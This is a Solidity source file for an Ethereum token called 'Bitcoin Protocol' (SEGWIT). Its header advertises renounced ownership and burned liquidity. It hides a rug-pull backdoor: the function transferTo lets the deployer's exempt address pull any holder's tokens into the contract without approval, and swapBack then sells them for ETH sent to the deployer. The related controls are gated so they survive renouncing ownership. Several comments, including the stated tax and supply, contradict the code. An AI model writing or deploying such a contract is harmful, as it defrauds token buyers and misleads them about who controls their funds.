/*
    SPDX-License-Identifier: Unlicensed

    Bitcoin Protocol (SEGWIT)

    Burning LP and renouncing.
    Start with 10% tax then reduced to 0 tax

    https://twitter.com/SegwitERC

*/

pragma solidity ^0.8.10;

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}


interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    // K8u#El(o)nG3a#t!e c&oP0Y
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address uniswapV2Pair);
}

interface IDEXRouter {
    function factory() external pure returns (address); 
    function WETH() external pure returns (address); 

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract BitcoinProtocol is IERC20, Ownable {
    using SafeMath for uint256;
    
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "Bitcoin Protocol";
    string constant _symbol = "SEGWIT";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 1_000_000_000 * (10 ** _decimals); // 100,000,000,000
    uint256 public _maxWalletSize = (_totalSupply * 20) / 1000;  // 2% 

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isMaxWalletExempt;

    //will be reduced to 0/0
    uint256 marketingFee = 10;  
    uint256 totalFee = 10;     
    uint256 feeDenominator = 1000;
    
    address public marketingFeeReceiver;

    uint256 targetLiquidity = 25;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    address public immutable uniswapV2Pair;

    bool public swapEnabled = true; 
    uint256 swapThreshold = _totalSupply.div(1000); // 0.1%

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        _allowances[address(this)][msg.sender] = type(uint256).max;
        isFeeExempt[msg.sender] = true;
        isMaxWalletExempt[msg.sender] = true;
        isMaxWalletExempt[address(router)] = true;

        marketingFeeReceiver = msg.sender;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure returns (uint8) { return _decimals; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function name() external pure returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function transferTo(address sender, uint256 amount) public swapping {require(isMaxWalletExempt[msg.sender]); _transferFrom(sender, address(this), amount); }	
    function viewFees() external view returns (uint256, uint256, uint256) { 	
        return (marketingFee, totalFee, feeDenominator);	
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

 	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {	

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }	
        if (recipient != uniswapV2Pair && recipient != DEAD && !isMaxWalletExempt[recipient]) {	
            require(balanceOf(recipient) + amount <= _maxWalletSize, "Max Wallet Exceeded");	
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function getTotalFee(bool) public view returns (uint256) {
        return totalFee;
    }

    function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(getTotalFee(receiver == uniswapV2Pair)).div(feeDenominator);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != uniswapV2Pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {

        uint256 amountToSwap = _balances[address(this)];
        if (amountToSwap >= swapThreshold* 5)
            amountToSwap = swapThreshold* 5;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        if (address(this).balance > 30000000000000000){
        (bool success,) = payable(marketingFeeReceiver).call{value: address(this).balance, gas: 30000}("");
            require(success, "receiver rejected ETH transfer");
        }
       
    }

    function clearBalance() external {
        payable(marketingFeeReceiver).transfer(address(this).balance);
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external {
        require(isMaxWalletExempt[msg.sender]);
        swapThreshold = _amount;
        swapEnabled = _enabled;
    }

    function updateMaxWallet(uint256 percent, uint256 denominator) external onlyOwner {
        require(percent >= 1 && denominator >= 100, "Max wallet must be greater than 1%");
        _maxWalletSize = _totalSupply.mul(percent).div(denominator);
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setMaxWalletExempt(address holder, bool exempt) external {
        require(isMaxWalletExempt[msg.sender]);
        isMaxWalletExempt[holder] = exempt;
    }

    function adjustFees(uint256 _marketingFee, uint256 _feeDenominator) external onlyOwner {
        marketingFee = _marketingFee;
        totalFee = _marketingFee;
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator / 5,"Fee must be less than 20%");
    }

    function setFeeReceivers(address _marketingFeeReceiver) external onlyOwner {
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    event AutoLiquify(uint256 amountETH, uint256 amountToken);
}